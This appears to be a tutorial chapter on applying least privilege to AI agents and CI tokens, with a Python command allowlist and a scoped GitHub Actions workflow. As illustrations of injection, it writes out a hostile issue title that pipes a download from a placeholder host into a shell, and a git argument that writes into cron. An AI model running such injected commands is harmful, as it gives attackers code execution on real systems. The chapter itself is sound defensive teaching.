Sub topic 11
Least Privilege for Agents and Tokens
This chapter assumes you know git and a hosting platform (repositories, issues, pull requests), the command line, and basic Python and YAML. It also assumes you have read the earlier chapters on indirect prompt injection and the dangerous combination of private data, untrusted input, and an outbound channel.
Why least privilege comes first
You cannot reliably stop a model from following injected text. You can limit what it is able to do once it follows that text. Least privilege means the agent gets only the access its current task needs, for only as long as it needs it.
An injected instruction runs with whatever authority the agent holds. A read-only token cannot push a commit, and a shell limited to git diff cannot upload files. Each permission you remove shrinks the damage of a successful injection.
The four kinds of privilege
An agent's authority comes from four places. Review each one separately.
| Privilege | Example | Typical over-grant |
|---|---|---|
| Shell | Running `make test` | A general shell that accepts any command |
| File access | Editing source files | Write access to the whole home directory, including `~/.ssh` |
| Network | Fetching package metadata | Unrestricted outbound HTTP |
| Credentials | A hosting-platform token | A personal token with access to every repository |
Credentials deserve the most attention. A shell restriction can be bypassed by a clever argument. A token with no write scope cannot write, whatever the agent is tricked into trying.
Start from the task, not the tool
Ask what the agent must do, then derive permissions from that answer. A common mistake is to start with the agent's full capability set and remove items you happen to think of.
Take three tasks on the same repository:
- Summarize a new issue. This needs read access to the issue. It needs no shell, no file writes, and no network.
- Fix a failing test. This needs read and write access to the working tree and a way to run tests. It does not need to read issues from other repositories or reach the internet.
- Open a pull request with a fix. This needs a push to one branch. It does not need to merge, change settings, or read secrets.
Each task gets its own configuration. Sharing one broad configuration across all three means the issue summarizer carries the powers of the pull request opener.
Restrict commands with an allowlist
A denylist tries to name dangerous commands. Attackers find the ones you forgot. An allowlist names the safe commands and rejects everything else. This wrapper runs exact argument lists, with no shell, so injected text cannot append a second command.
import subprocess
ALLOWED = {
('git', 'status'),
('git', 'diff'),
('pytest', '-q'),
}
def run_tool(argv):
if tuple(argv) not in ALLOWED:
raise PermissionError(f'command not allowed: {argv}')
return subprocess.run(argv, capture_output=True, text=True, timeout=60, check=False)Two details matter here. First, the check compares the whole argument list, so ('git', 'diff') does not permit git diff --output=/etc/cron.d/x. Second, subprocess.run receives a list and no shell=True, so characters such as ; and && have no special meaning.
Allowlist gotchas
- Some allowed tools can run other programs.
pytestexecutes whatever test code is in the repository, and a malicious repository controls that code. An allowlist of commands does not make those commands safe if they run untrusted code. Pair it with a sandbox, covered in a later chapter. - Allowing a pattern such as
git *is much weaker than allowing exact commands. Options like-cor--upload-packcan run arbitrary programs. - Allowlists tell you what is permitted, not what is safe. Review each entry for what it can reach.
Scope tokens tightly
A token is a credential the agent presents to the hosting platform. Apply four limits.
- Narrow scope. Grant only the permissions the task needs, such as
issues: writeand nothing else. - Narrow target. Restrict the token to one repository, not every repository you own.
- Short life. Prefer tokens that expire in minutes or hours over long-lived tokens.
- Separate identity. Use a dedicated bot or app identity, not your personal account. Then logs show which actions came from the agent, and revoking the token does not affect you.
Never reuse your personal token for an agent. It usually has far more reach than any one task requires, and an injection that steals it hands over everything.
Keep secrets out of reach
Even a narrow token is a risk if the agent can read it and send it somewhere. Do not put secrets in files inside the working directory, in shell history, or in environment variables the agent's tools inherit unless the task needs them. A secret that the agent never sees cannot be leaked by the agent.
If a task needs to call an API, a better pattern is to have a separate component outside the agent hold the credential and perform only the specific call. The agent requests the action and never sees the key.
Least privilege in CI
Automation that responds to issues is a high-risk place for broad permissions, because the triggering text comes from anyone who can open an issue. This GitHub Actions workflow grants only what it needs and passes the issue title as data.
name: triage
on:
issues:
types: [opened]
permissions:
contents: read
issues: write
jobs:
label:
runs-on: ubuntu-latest
steps:
- name: Handle issue title as data
env:
ISSUE_TITLE: ${{ github.event.issue.title }}
run: printf 'Title: %s\n' "$ISSUE_TITLE"The permissions block sets the token's scope for the whole workflow. Without it, the default can be broader than you want. Here the token can read code and write issues, and it cannot push, release, or modify workflow files.
The env step matters as much. If you wrote ${{ github.event.issue.title }} directly inside the run script, the platform would substitute the text before the shell parses it. A title like "; curl evil.example | sh; " would become part of the script. Putting the value in an environment variable means the shell treats it as a string.
Do not hand secrets to untrusted triggers
Workflows triggered by outside contributors, such as pull requests from forks, should run without access to repository secrets and with a read-only token. If an agent step needs a secret, split the work. Run the untrusted analysis in a job with no secrets, and have a second job with limited privileges act on a small, validated result.
A permission review
Use this sequence when you set up or audit an agent.
- List the tasks the agent performs.
- For each task, write down the minimum shell commands, paths, hosts, and token scopes.
- Remove everything else. Default to denied.
- Check the combination. If the agent still holds private data, reads untrusted input, and can reach an outbound channel, remove at least one of the three.
- Record who approved each remaining permission and when to review it again.
Common errors
- Using a personal token. It carries your full access. Use a scoped bot identity.
- Broad defaults. Leaving workflow permissions unset or granting
write-allfor convenience. - Permission creep. Adding access to fix one failure and never removing it. Review permissions on a schedule.
- Trusting the allowlist alone. An allowed command that runs repository code is still dangerous without isolation.
- Treating approval prompts as a substitute. Asking a human for each action helps, but people approve repeatedly out of habit. Limits that the agent cannot override are stronger.
Exercises
Exercise
A workflow runs an agent on every new issue to add labels. The workflow has no permissions block, uses a personal access token stored as a secret, and writes the issue body directly into a run: script with ${{ github.event.issue.body }}. List three changes that apply least privilege.
Show answer
(1) Add a permissions block with contents: read and issues: write only. (2) Replace the personal token with the built-in scoped token or a dedicated bot or app token limited to this repository. (3) Pass the issue body through an env: variable and reference it as "$ISSUE_BODY" in the script, so the text is treated as data and cannot add shell commands.
Exercise
Your allowlist contains the entry git *. Why is this weaker than the exact entries ('git', 'status') and ('git', 'diff'), and what should replace it?
Show answer
A wildcard permits any git subcommand and option, including ones that can run external programs or write files, such as -c configuration settings or --upload-pack. Replace it with exact argument lists for only the commands the task needs, and run them without a shell.